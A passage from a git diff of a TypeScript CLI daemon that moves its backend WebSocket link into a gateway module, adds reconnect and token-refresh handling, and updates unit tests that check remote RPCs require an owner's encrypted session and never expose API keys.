this.autonomousDeviceRelay?.drop(connId)+ this.core.commanders(this.commanderCount, this.commanderActive, true)+ }+ pairedDirectFingerprint(connId: string): string | null { const pub = this.directDevicePins.get(connId); return pub ? fingerprint(b64d(pub)) : null }+ async receiveDirectDevice(connId: string, frame: Frame, pairingAllowed: boolean): Promise<void> {+ if (!this.directDeviceSinks.has(connId)) return+ const type = frame.type+ if (type !== 'autonomous_device_request') deviceDump.record('in', 'wire', connId, frame) // requests: decrypted in the relay+ if (type === 'machine_selected') return+ if (type === 'autonomous_device_request') { await this.autonomousDeviceRelay?.handle(connId, frame); return }+ const controls = pairingAllowed ? ['e2e_pair_intent', 'e2e_pair_cancel', 'e2e_pake', 'e2e_hello', 'e2e_status'] : ['e2e_hello', 'e2e_status']+ if ((type === 'e2e_pake' || type === 'e2e_pair_cancel') && this.e2ee.pendingConnection() !== connId) return+ if (typeof type === 'string' && controls.includes(type)) this.e2ee.handleFrame(connId, frame)+ }+ setAutonomousDeviceService(service: AutonomousDeviceService): void {+ this.autonomousDeviceRelay = new AutonomousDeviceRelay(+ this.e2ee,+ (connId, frame) => this.sendTo(connId, frame),+ service,+ this.machineId,+ () => this.core.commanderJoined(),+ identity => this.e2ee.revoke(fingerprint(b64d(identity))),+ )+ }+ directAutonomousDeviceSessions(): number { return this.autonomousDeviceRelay?.count(id => this.directDeviceSinks.has(id)) ?? 0 }+ autonomousDeviceConnected(): boolean { return this.autonomousDeviceRelay?.connected() ?? false }+ emitAutonomousDeviceEvent(frame: AutonomousDeviceFrame, deviceId?: string): void { this.autonomousDeviceRelay?.emit(frame, deviceId) }++ // ── the pairings, for the daemon's own commands (`harness pair`, `unpair`, `remote-password`, …) ──++ /** True after a paired device has completed the E2EE hello/welcome session. */+ deviceE2eeConnected(): boolean { return this.e2ee.deviceConnected() }+ /** A browser waiting to pair (local dashboard), or null. */+ pendingPair(): ReturnType<E2eeManager['pendingPair']> { return this.e2ee.pendingPair() }+ /** Record the local dashboard port so it's surfaced to the web (in e2e_status) for approve-via-web. */+ setDashboardPort(port: number): void { this.e2ee.dashboardPort = port }+ /** Run CPace pairing for a code entered via `harness pair <code>` (delegated to the manager). */+ pair(code: string): Promise<PairResult> { return this.e2ee.onPair(code) }+ fingerprint(): string { return this.e2ee.fingerprint() }+ /** `harness pairings` — list paired clients. */+ listPairs(): ReturnType<E2eeManager['listPaired']> { return this.e2ee.listPaired() }+ /** `harness unpair <id>` — unpair one client (signals it to re-pair if online). */+ revoke(id: string): ReturnType<E2eeManager['revoke']> { return this.e2ee.revoke(id) }+ /** `harness unpair --all` — unpair every client. */+ revokeAll(): ReturnType<E2eeManager['revokeAll']> { return this.e2ee.revokeAll() }+ /** `harness remote-password set` — stretch + persist a new persistent remote password. */+ setRemotePassword(password: string): ReturnType<E2eeManager['setRemotePassword']> { return this.e2ee.setRemotePassword(password) }+ /** `harness remote-password clear` — remove the persistent remote password. */+ clearRemotePassword(): void { this.e2ee.clearRemotePassword() }+ /** `harness link connect` — trust the machine this one just linked as a client too (mutual link). */+ trustPeer(peer: LinkedPeer): void { this.e2ee.trustPeer(peer) }+ /** Stop trusting `pub` here (unlink / trust-group removal); true when it was trusted. */+ untrustPeer(pub: string): boolean { return this.e2ee.untrustPeer(pub) }+ pairedPeers(): ReturnType<E2eeManager['pairedPeers']> { return this.e2ee.pairedPeers() }+ /** `harness remote-password status` — whether one is set, and its fingerprint. */+ remotePasswordStatus(): ReturnType<E2eeManager['remotePasswordStatus']> { return this.e2ee.remotePasswordStatus() }+}diff --git a/cli/src/gateway/upstream.ts b/cli/src/gateway/upstream.tsnew file mode 100644index 000000000..67d67cafc--- /dev/null+++ b/cli/src/gateway/upstream.ts@@ -0,0 +1,375 @@+/**+ * The upstream link: the daemon's dial-out connection to the backend's `/api/adapter-ws`, and nothing+ * else. Moved verbatim out of `BackendSocket` (the core boundary, step 10, R1: the relay leaves the core,+ * docs/design/2026-10-06-core-boundary-next.md): what crosses it and who may read it is the gateway's+ * (gateway/gateway.ts); this file only keeps a socket up and frames moving.+ *+ * The adapter occupies the NODE side of its agentId on the backend hub:+ * - `up` { t:'up', frame } → normalized claude events + `<x>_result` RPC replies+ * - `down` { t:'down', connId, frame } → web chat/control + data-plane RPC requests+ *+ * Mirrors the hosted runtime’s managerSocket: idempotent connect, exponential backoff (1s→30s),+ * WS liveness (`lib/wsLiveness.ts`: ping every 20s, 60s deadline on silence) + a 15s app-level+ * `{t:'ping'}` that refreshes the backend presence key, and a bounded FIFO queue for client-facing+ * outbound frames.+ *+ * Auth: the SSO access token rides as the first WS subprotocol.+ */+import { WebSocket } from 'ws'+import { hostname } from 'os'+import { env } from '../config/env.js'+import { AuthSessionError, AuthSessionManager } from '../lib/authSession.js'+import { BACKEND_IDLE_DEADLINE_MS, watchSocketLiveness, type LivenessWatch } from '../lib/wsLiveness.js'+import { decodeTerminalHop, TerminalHopDirection } from '../lib/terminalBinary.js'+import { VERSION } from '../version.js'++const APP_PING_MS = 15_000+// Floor between two `app_presence` up-frames while a window is attached. Rides the 15s app-ping+// tick; the backend only needs to hear about it about once a minute (it floors its own Mongo write+// at five). `open` is never held back — it is the one that counts as a session in+// `user_daily_presence`.+const APP_PRESENCE_UP_MS = 60_000+// How long the opening handshake may take before the attempt is abandoned and retried. `ws` waits+// forever by default, and the heartbeat below only starts on 'open' — so a TCP connection that came+// up while the network was flapping but never got its upgrade answered sat in CONNECTING for hours,+// `this.ws` set, every later connect() returning early, and the daemon reporting "cloud+// reconnecting…" until someone restarted it.+const HANDSHAKE_TIMEOUT_MS = 15_000+const BASE_DELAY_MS = 1_000+const MAX_DELAY_MS = 30_000+const QUEUE_MAX = 2_000++export type OutboundEnvelope = Record<string, unknown>++interface QueueItem {+ id: number+ data: string+ msg: OutboundEnvelope+ attempts: number+}++/** A down envelope as the backend sends it. */+export interface DownEnvelope {+ t: 'down'+ connId?: string+ frame?: Record<string, unknown>+}++/** What the link tells its owner. Every member is called from the socket's own handlers. */+export interface UpstreamEvents {+ /** A down-frame for this machine: the backend's own (connId '') or a client's, relayed. */+ down(frame: Record<string, unknown>, connId: string): void+ /** A client's sealed terminal bytes, relayed. */+ binary(connId: string, clientFrame: Uint8Array): void+ /** The link came up (each reconnect too), after the queue began to drain. */+ up(): void+ /** The link went down: everything tied to it is gone. Called before the reconnect is scheduled. */+ gone(): void+ /** Whether the link is up, as it changes. */+ status(connected: boolean): void+ /** The account's session is over (a refused or missing refresh, a 401/403 on the upgrade): stop for good. */+ revoked(): void+ /** Another computer already holds this machine (HTTP 409): keep the session, stop for good. */+ busy(): void+ /** How many processes on this computer are attached (windows and tools): the window's presence rides+ * the app-ping while there are any. */+ localClients(): number+}++export interface UpstreamOptions {+ machineId: string+ /** The daemon's session; without one (isolated unit tests only), `machineId` is the token. */+ auth?: AuthSessionManager+ computerId?: string+ autonomousEnv?: string+ events: UpstreamEvents+}++export class UpstreamLink {+ private ws: WebSocket | null = null+ private connecting = false+ /** A 401 on the upgrade is being answered with a token refresh; that refresh owns the next connect. */+ private retryingAuth = false+ private readonly auth: AuthSessionManager+ /** Constructor-without-auth is retained for isolated unit tests only. */+ private readonly testToken?: string+ private readonly url: string+ private attempts = 0+ private closed = false+ private queue: QueueItem[] = []+ private draining = false+ private nextQueueId = 1+ private droppedSinceLog = 0+ private heartbeat: LivenessWatch | null = null+ private appPing: NodeJS.Timeout | null = null+ private lastAppPresenceUpAt = 0+ // A window attached while there was no link to tell (cold start: the app dials this daemon before+ // the daemon has dialed the backend; or a daemon restart under an open window). The session is+ // real and must be counted once, so it is owed to the next link — not turned into a `ping`.+ private appOpenOwed = false+ private thisComputerOnly = false+ private readonly events: UpstreamEvents++ constructor({ machineId, auth, computerId = '', autonomousEnv = 'prod', events }: UpstreamOptions) {+ this.auth = auth ?? new AuthSessionManager(env.BACKEND_WS_URL.replace(/\/$/, '').replace(/^wss:/, 'https:').replace(/^ws:/, 'http:'))+ this.testToken = auth ? undefined : machineId+ this.events = events+ // `?label=<hostname>` lets the backend record which machine connected (shown on the machine card);+ // `?computer=<stable id>` enforces one-computer-per-computer (a 2nd computer is rejected with HTTP 409);+ // `?v=<VERSION>` is our own version, which the backend stores on the machine at every connect.+ const base = `${env.BACKEND_WS_URL.replace(/\/$/, '')}/api/adapter-ws?label=${encodeURIComponent(hostname())}&v=${encodeURIComponent(VERSION)}&autonomousEnv=${encodeURIComponent(autonomousEnv)}`+ // `?machine=<id>` is the machine this daemon still believes it is. The backend uses it to tell a+ // REVOKED daemon — one whose machine was deleted while it was offline — apart from a first-time+ // pairing, and answers 403 instead of quietly minting a replacement machine. Guarded on shape+ // because in test mode the first constructor argument carries a token, not a machine id.+ const claim = /^[a-f0-9]{32}$/.test(machineId) ? `&machine=${encodeURIComponent(machineId)}` : ''+ this.url = (computerId ? `${base}&computer=${encodeURIComponent(computerId)}` : base) + claim+ }++ /** Live backend link state (local dashboard + E2EE gating). */+ isConnected(): boolean {+ return this.ws?.readyState === WebSocket.OPEN+ }++ /** Signed out: the cloud link is never dialed in this process's life (a sign-in restarts it), so what+ * was queued for it is dropped and nothing more is queued: every frame, a text_delta's among them,+ * was sealed and queued for a link that never opens, two thousand deep. */+ serveThisComputerOnly(): void { this.thisComputerOnly = true; this.queue.length = 0 }+ /** True once the daemon serves this computer only: the gateway then seals nothing for the link. */+ servesThisComputerOnly(): boolean { return this.thisComputerOnly }++ connect(): void {+ if (this.closed || this.ws || this.connecting) return+ this.connecting = true+ void this.connectWithSession()+ }++ private async connectWithSession(): Promise<void> {+ let token: string+ try {+ token = this.testToken ?? await this.auth.accessToken()+ } catch (err) {+ this.connecting = false+ this.events.status(false)+ const delay = err instanceof AuthSessionError && err.code === 'INVALID_REFRESH' ? MAX_DELAY_MS : BASE_DELAY_MS+ if (!this.closed) setTimeout(() => this.connect(), delay)+ return+ }+ if (this.closed) { this.connecting = false; return }+ // On timeout `ws` emits 'error' ("Opening handshake has timed out") then 'close', which lands in+ // onGone below and re-enters the ordinary backoff — the same path a refused connection takes.+ const ws = new WebSocket(this.url, [token], { handshakeTimeout: HANDSHAKE_TIMEOUT_MS })+ this.ws = ws+ this.connecting = false++ ws.on('open', () => {+ this.attempts = 0+ console.log(`[backend] connected → ${this.url}`)+ this.events.status(true)+ this.drainQueue()+ this.events.up()++ this.heartbeat = watchSocketLiveness(ws, {+ onIdle: (idleMs) => console.log(`[backend] no traffic for ${Math.round(idleMs / 1000)}s — terminating the link`),+ onWake: (sleptMs, hungUp) => console.log(`[backend] woke after ${Math.round(sleptMs / 1000)}s asleep — ${hungUp ? 'the backend has hung up, redialing' : 're-probing the link'}`),+ peerGivesUpAfterMs: BACKEND_IDLE_DEADLINE_MS,+ })++ // App-level ping refreshes the backend's presence key (TTL 30s). The window's presence rides+ // the same tick — a fresh socket knows nothing about the window, so its first tick goes through.+ this.lastAppPresenceUpAt = 0+ if (this.appOpenOwed && this.events.localClients() > 0) this.sendAppPresence('open')+ this.appPing = setInterval(() => {+ this.sendBestEffort({ t: 'ping' })+ if (this.events.localClients() > 0) this.sendAppPresence('ping')+ }, APP_PING_MS)+ })++ ws.on('message', (raw, isBinary) => {+ if (isBinary) {+ const hop = decodeTerminalHop(new Uint8Array(raw as Buffer))+ if (hop?.direction === TerminalHopDirection.down) this.events.binary(hop.connId, hop.clientFrame)+ return+ }+ let env_: DownEnvelope+ try { env_ = JSON.parse(raw.toString()) as DownEnvelope } catch { return }+ if (env_.t === 'down' && env_.frame) {+ // A malformed/hostile down-frame (bad __e2e envelope, bad ephemeral key) can throw in the+ // pre-`try` part of the dispatch; the gateway contains it per connection. Hand it on.+ this.events.down(env_.frame, env_.connId ?? '')+ }+ })++ const onGone = (why: string): void => {+ if (this.ws !== ws) return+ this.ws = null+ if (this.heartbeat) { this.heartbeat.stop(); this.heartbeat = null }+ if (this.appPing) { clearInterval(this.appPing); this.appPing = null }+ this.draining = false+ this.events.gone()+ this.events.status(false)+ if (this.closed) return+ // A 401 refresh owns the next connect (see the error handler below): no competing backoff timer,+ // or two sockets would race for the one machine claim.+ if (this.retryingAuth) { console.log(`[backend] disconnected (${why}) — refreshing the token before reconnecting`); return }+ const delay = Math.min(MAX_DELAY_MS, BASE_DELAY_MS * 2 ** Math.min(this.attempts++, 5))+ console.log(`[backend] disconnected (${why}) — retrying in ${Math.round(delay / 1000)}s (attempt ${this.attempts})`)+ setTimeout(() => this.connect(), delay)+ }+ ws.on('close', (code) => onGone(`close ${code}`))+ ws.on('error', (err) => {+ const e = err as Error & { code?: string }+ const msg = e.message || e.code || String(err)+ console.error('[backend] socket error:', msg)+ // 401 on the upgrade = the access token was refused. Refresh it and come back; the socket is+ // torn down the ordinary way below (`ws.close()` → onGone: timers, status, streams), which is+ // what the previous shape skipped — it nulled `this.ws` first, so onGone returned at its first+ // line, status kept saying connected, and a refresh that failed for ANY reason (a network blip+ // included) wiped the SSO session. Only a refresh token the backend itself rejects means the+ // session is over; everything else is a transient and re-enters the backoff.+ if (/Unexpected server response: 401\b/.test(msg) && !this.retryingAuth) {+ this.retryingAuth = true+ void this.auth.accessToken({ force: true, failedToken: token })+ .then(() => {+ this.retryingAuth = false+ // onGone has normally run by now (the close lands long before a network round trip+ // returns); if this socket is somehow still ours, let go of it before dialing again.+ if (this.ws === ws) { this.ws = null; try { ws.terminate() } catch { /* ignore */ } }+ this.connect()+ })+ .catch((error: unknown) => {+ this.retryingAuth = false+ // No session to refresh, or a refresh token the backend rejects: the session is over.+ if (error instanceof AuthSessionError && (error.code === 'INVALID_REFRESH' || error.code === 'MISSING')) {+ this.closed = true+ this.events.revoked()+ return+ }+ if (this.closed) return+ if (this.ws === ws) { this.ws = null; try { ws.terminate() } catch { /* ignore */ } }+ const delay = Math.min(MAX_DELAY_MS, BASE_DELAY_MS * 2 ** Math.min(this.attempts++, 5))+ console.log(`[backend] token refresh failed (${error instanceof Error ? error.message : String(error)}) — retrying in ${Math.round(delay / 1000)}s (attempt ${this.attempts})`)+ setTimeout(() => this.connect(), delay)+ })+ } else if (/Unexpected server response: 40[13]\b/.test(msg)) {+ this.closed = true+ this.events.revoked()+ }+ // 409 = another computer already holds this machine. Keep the SSO session; stop+ // retrying (the 40[13] regex above deliberately excludes 409, so without this it would loop).+ else if (/Unexpected server response: 409\b/.test(msg)) {+ this.closed = true+ this.events.busy()+ }+ try { ws.close() } catch { /* ignore */ }+ })+ }++ /** Stop for good: no reconnect, whatever the socket does next (a `machine_revoked`). */+ close(): void { this.closed = true }++ stop(): void {+ this.closed = true+ if (this.heartbeat) this.heartbeat.stop()+ if (this.appPing) clearInterval(this.appPing)+ try { this.ws?.close() } catch { /* ignore */ }+ this.ws = null+ }++ /**+ * The desktop window is open on this computer: tell the backend, which turns it into the person's+ * `user_daily_presence` row. The window itself says nothing — its loopback socket IS the fact, so+ * this daemon reports it: `open` the moment a window registers, `ping` on the app-ping tick while any+ * window is attached, at most once per APP_PRESENCE_UP_MS. Best-effort and plaintext on purpose: it+ * is bookkeeping about the person, not data, and a daemon that is signed out (no backend dial) or+ * between reconnects simply drops it rather than queueing a stale "was open" behind real frames.+ * Returns whether a frame went up.+ */+ sendAppPresence(kind: 'open' | 'ping'): boolean {+ const now = Date.now()+ if (kind === 'ping' && now - this.lastAppPresenceUpAt < APP_PRESENCE_UP_MS) return false+ const sent = this.sendBestEffort({+ t: 'up',+ webEligible: false,+ commanderEligible: false,+ frame: { type: 'app_presence', payload: { kind } },+ })+ if (sent) this.lastAppPresenceUpAt = now+ if (kind === 'open') this.appOpenOwed = !sent+ return sent+ }++ /** The last window left before any link could hear it attach: nothing happened, as far as the backend+ * is concerned, and a later link must not be told otherwise. */+ noLocalClients(): void { this.appOpenOwed = false }++ enqueue(msg: OutboundEnvelope): void {+ if (this.thisComputerOnly) return+ const item: QueueItem = { id: this.nextQueueId++, data: JSON.stringify(msg), msg, attempts: 0 }+ if (this.queue.length >= QUEUE_MAX) this.dropOneQueued()+ if (this.queue.length >= QUEUE_MAX) {+ this.droppedSinceLog+++ this.logQueueDrops()+ return+ }+ this.queue.push(item)+ this.drainQueue()+ }++ sendBestEffort(msg: OutboundEnvelope): boolean {+ const data = JSON.stringify(msg)+ if (this.ws && this.ws.readyState === WebSocket.OPEN) {+ try { this.ws.send(data); return true } catch { /* ignore */ }+ }+ return false+ }++ /** A binary packet (a sealed terminal hop) on the open link; false when there is none. */+ sendBinary(packet: Uint8Array): boolean {+ if (!this.ws || this.ws.readyState !== WebSocket.OPEN) return false+ try { this.ws.send(packet); return true } catch { return false }+ }++ private drainQueue(): void {+ if (this.draining || !this.queue.length) return+ const ws = this.ws+ if (!ws || ws.readyState !== WebSocket.OPEN) return+ const item = this.queue[0]+ this.draining = true+ try {+ ws.send(item.data, (err?: Error) => {+ if (this.ws !== ws) return+ if (err) {+ item.attempts+++ this.draining = false+ console.error(`[backend] queued send failed (id=${item.id}, attempts=${item.attempts}):`, err.message)+ try { ws.close() } catch { /* ignore */ }+ return+ }+ if (this.queue[0] === item) this.queue.shift()+ this.draining = false+ this.drainQueue()+ })+ } catch (err) {+ item.attempts+++ this.draining = false+ console.error(`[backend] queued send threw (id=${item.id}, attempts=${item.attempts}):`, err instanceof Error ? err.message : err)+ try { ws.close() } catch { /* ignore */ }+ }+ }++ private dropOneQueued(): void {+ const idx = this.queue.findIndex((item) => !('targetConnId' in item.msg))+ const dropAt = idx >= 0 ? idx : 0+ if (this.queue.splice(dropAt, 1).length) {+ this.droppedSinceLog+++ this.logQueueDrops()+ }+ }++ private logQueueDrops(): void {+ if (this.droppedSinceLog === 1 || this.droppedSinceLog % 100 === 0) {+ console.warn(`[backend] outbound queue full; dropped ${this.droppedSinceLog} frame(s) so far`)+ }+ }+}diff --git a/cli/src/lib/apiConnectionsRpc.spec.ts b/cli/src/lib/apiConnectionsRpc.spec.tsindex 50aa78b70..b2bdef9ba 100644--- a/cli/src/lib/apiConnectionsRpc.spec.ts+++ b/cli/src/lib/apiConnectionsRpc.spec.ts@@ -1,5 +1,6 @@import { afterEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from '../backendSocket.js'+import { dispatchDown, gatewayOf, relaySocket } from '../testing/relaySocket.js'import { emptyPorts } from '../core/api.js'import { createServiceHost } from '../core/serviceHost.js'import { launchTargetRequests } from '../services/models.js'@@ -11,7 +12,7 @@ afterEach(() => vi.restoreAllMocks())/** A socket whose `api_connections` goes where the daemon sends it: the models service* (services/models.ts), behind the socket's gates. */function socketWithModels(): BackendSocket {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const host = createServiceHost(emptyPorts())// Served alone, under a name of its own: `models` is a port's name, which `serve` keeps for `start`.host.serve('launch-targets', launchTargetRequests, fakeCore(), ['api_connections', 'codex_profiles_list', 'codex_profile_link'])@@ -40,8 +41,8 @@ describe('API connection RPC', () => {const socket = socketWithModels()const list = vi.spyOn(ApiConnections.prototype, 'list')const save = vi.spyOn(ApiConnections.prototype, 'save')- await (socket as any).dispatchDown({ type: 'api_connections', payload: { action: 'list', requestId: 'remote' } }, 'remote')- await (socket as any).dispatchDown({ type: 'api_connections', payload: { action: 'save', requestId: 'remote', connection: { apiKey: 'must-not-persist' } } }, 'remote')+ await dispatchDown(socket, { type: 'api_connections', payload: { action: 'list', requestId: 'remote' } }, 'remote')+ await dispatchDown(socket, { type: 'api_connections', payload: { action: 'save', requestId: 'remote', connection: { apiKey: 'must-not-persist' } } }, 'remote')expect(list).not.toHaveBeenCalled()expect(save).not.toHaveBeenCalled()await socket.stop()@@ -51,11 +52,11 @@ describe('API connection RPC', () => {const socket = socketWithModels()const save = vi.spyOn(ApiConnections.prototype, 'save')const reply = vi.spyOn(socket as any, 'emitReply').mockImplementation(() => {})- vi.spyOn((socket as any).e2ee, 'sessionRole').mockReturnValue('device')- vi.spyOn((socket as any).e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'api_connections', payload: { action: 'save', requestId: 'remote', connection: { provider: 'fal', apiKey: 'must-stay-local' } },})- await (socket as any).dispatchDown({ type: 'api_connections', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote')+ await dispatchDown(socket, { type: 'api_connections', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote')await vi.waitFor(() => expect(reply).toHaveBeenCalledWith('remote', 'api_connections', 'remote', { error: 'OWNER_REQUIRED' }))expect(save).not.toHaveBeenCalled()await socket.stop()@@ -66,13 +67,13 @@ describe('API connection RPC', () => {vi.spyOn(ApiConnections.prototype, 'list').mockReturnValue([])const save = vi.spyOn(ApiConnections.prototype, 'save').mockReturnValue({ id: 'fixture' } as any)const remove = vi.spyOn(ApiConnections.prototype, 'remove').mockImplementation(() => {})- vi.spyOn(internals.e2ee, 'sessionRole').mockReturnValue('web')- vi.spyOn(internals.e2ee, 'hasSession').mockReturnValue(true)- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue({ type: 'api_connections', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'api_connections', payload: {requestId: 'owner', action, id: 'fixture', connection: { provider: 'fal', apiKey: 'fixture-private-key' },} })- const sealedReply = vi.spyOn(internals.e2ee, 'wrapRpcReply').mockReturnValue({ type: 'api_connections_result', payload: { __e2e: 'sealed' } })- await internals.dispatchDown({ type: 'api_connections', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote')+ const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'api_connections_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, { type: 'api_connections', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote')await vi.waitFor(() => expect(sealedReply).toHaveBeenCalledWith('remote', 'api_connections_result', 'owner', expect.objectContaining({ connections: [] })))expect(JSON.stringify(sealedReply.mock.calls)).not.toContain('fixture-private-key')if (action === 'save') expect(save).toHaveBeenCalledWith({ provider: 'fal', apiKey: 'fixture-private-key' })@@ -81,22 +82,22 @@ describe('API connection RPC', () => {})it('requires a sealed owner web session for remote orchestration', async () => {- const socket = new BackendSocket('fixture'), internals = socket as any+ const socket = relaySocket('fixture'), internals = socket as anyconst list = vi.fn().mockReturnValue([])const service = vi.spyOn(internals, 'orchestration').mockReturnValue({ list })- vi.spyOn(internals.e2ee, 'hasSession').mockReturnValue(true)- const role = vi.spyOn(internals.e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')const clear = { type: 'orchestrator', payload: { requestId: 'owner', action: 'list' } }- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(clear)- const sealedReply = vi.spyOn(internals.e2ee, 'wrapRpcReply').mockReturnValue({ type: 'orchestrator_result', payload: { __e2e: 'sealed' } })- await internals.dispatchDown(clear, 'remote')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)+ const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'orchestrator_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, clear, 'remote')expect(service).not.toHaveBeenCalled()const sealed = { type: 'orchestrator', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }role.mockReturnValue('device')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(service).not.toHaveBeenCalled()role.mockReturnValue('web')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')await vi.waitFor(() => expect(list).toHaveBeenCalledOnce())expect(sealedReply).toHaveBeenCalledWith('remote', 'orchestrator_result', 'owner', { projects: [] })await socket.stop()diff --git a/cli/src/lib/apiModels.spec.ts b/cli/src/lib/apiModels.spec.tsindex 6497696f2..582ba413c 100644--- a/cli/src/lib/apiModels.spec.ts+++ b/cli/src/lib/apiModels.spec.ts@@ -3,6 +3,7 @@ import { mkdtempSync, rmSync } from 'node:fs'import { tmpdir } from 'node:os'import { join } from 'node:path'import { BackendSocket } from '../backendSocket.js'+import { dispatchDown, gatewayOf, relaySocket } from '../testing/relaySocket.js'import { ApiConnections } from './apiConnections.js'import { apiModelsRequest, chatModels, forgetApiModels, listApiModels, refreshApiLaunch, resolveApiTarget } from './apiModels.js'import { classifyGridAssignment } from './gridAssignment.js'@@ -133,11 +134,11 @@ describe('an API as a model source', () => {describe('agent_retarget onto an API model', () => {function retarget(socket: BackendSocket, payload: Record<string, unknown>, connId = 'local:apis') {- return (socket as any).dispatchDown({ type: 'agent_retarget', payload: { requestId: 'r', agentId: 'agent-1', ...payload } }, connId, connId === 'remote' ? 'relay' : 'local')+ return dispatchDown(socket, { type: 'agent_retarget', payload: { requestId: 'r', agentId: 'agent-1', ...payload } }, connId, connId === 'remote' ? 'relay' : 'local')}it('resolves the endpoint and key on this computer and hands the engine launch that override', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const reply = vi.spyOn(socket as any, 'emitReply').mockImplementation(() => {})const saved = store.save({ provider: 'openrouter', apiKey: secret })const access = vi.spyOn(ApiConnections.prototype, 'modelAccess').mockImplementation(() => ({@@ -165,15 +166,15 @@ describe('agent_retarget onto an API model', () => {})it('refuses a session that is not the owner\'s, and a frame naming an API with anything else', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const reply = vi.spyOn(socket as any, 'emitReply').mockImplementation(() => {})const moved = vi.fn(async () => ({ ok: true as const }))socket.onRetargetAgent = moved// Encrypted, but not the owner's paired session: refused, as managing these APIs would be.- vi.spyOn((socket as any).e2ee, 'unwrapDown').mockReturnValueOnce({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValueOnce({type: 'agent_retarget', payload: { requestId: 'r', agentId: 'agent-1', apiConnection: 'openrouter', apiModel: 'z-ai/glm-5' },})- await (socket as any).dispatchDown({ type: 'agent_retarget', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote')+ await dispatchDown(socket, { type: 'agent_retarget', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote')expect(reply).toHaveBeenLastCalledWith('remote', 'agent_retarget', 'r', { error: 'OWNER_REQUIRED' })await retarget(socket, { apiConnection: 'openrouter', apiModel: 'z-ai/glm-5', gridModel: 'Qwen' })expect(reply).toHaveBeenLastCalledWith('local:apis', 'agent_retarget', 'r', expect.objectContaining({ error: 'INVALID_GRID' }))@@ -184,25 +185,25 @@ describe('agent_retarget onto an API model', () => {})it('lets the owner\'s paired session use the API, as it may manage it', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const reply = vi.spyOn(socket as any, 'emitReply').mockImplementation(() => {})const saved = store.save({ provider: 'openrouter', apiKey: secret })vi.spyOn(ApiConnections.prototype, 'modelAccess').mockImplementation(() => ({ connection: saved, apiKey: secret }))vi.spyOn(globalThis, 'fetch').mockImplementation(answering(listing))- vi.spyOn((socket as any).e2ee, 'sessionRole').mockReturnValue('web')- vi.spyOn((socket as any).e2ee, 'unwrapDown').mockReturnValueOnce({+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValueOnce({type: 'agent_retarget', payload: { requestId: 'r', agentId: 'agent-1', apiConnection: 'openrouter', apiModel: 'z-ai/glm-5' },})const moved = vi.fn(async () => ({ ok: true as const }))socket.onRetargetAgent = moved- await (socket as any).dispatchDown({ type: 'agent_retarget', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'owner')+ await dispatchDown(socket, { type: 'agent_retarget', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'owner')expect(moved).toHaveBeenCalledWith(expect.objectContaining({ grid: expect.objectContaining({ networkId: 'api:openrouter', model: 'z-ai/glm-5' }) }))expect(reply).toHaveBeenLastCalledWith('owner', 'agent_retarget', 'r', { retargeted: true })await socket.stop()})it('answers why an API cannot be used, without touching the pane', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const reply = vi.spyOn(socket as any, 'emitReply').mockImplementation(() => {})const moved = vi.fn(async () => ({ ok: true as const }))socket.onRetargetAgent = moveddiff --git a/cli/src/lib/e2ee/manager.ts b/cli/src/lib/e2ee/manager.tsindex 95ebea374..8ea7e5b6e 100644--- a/cli/src/lib/e2ee/manager.ts+++ b/cli/src/lib/e2ee/manager.ts@@ -118,6 +118,9 @@ export interface E2eeManagerDeps {onIdentityRevoked?: (identityPub: string) => void/** Release connection-scoped resources on revoke, eviction, replacement and disconnect. */onSessionDropped?: (connId: string) => void+ /** A connection proved a paired identity with its hello: its session is open, under that identity's+ * role. The gateway registers it with the core from this (gateway/gateway.ts). */+ onSessionOpened?: (connId: string, role: C.PairRole, identityPub: string) => void/** A peer just proved this machine's remote password (it is already trusted here as a client). A* machine joiner carries its machineId so the caller can pin it back and sync the trust group. */onPeerLinked?: (peer: LinkedPeer) => void@@ -839,6 +842,7 @@ export class E2eeManager {terminalS2cCounter: 0,terminalC2sRecv: new ReplayWindow(),})+ this.deps.onSessionOpened?.(connId, role, identityPub)const id = 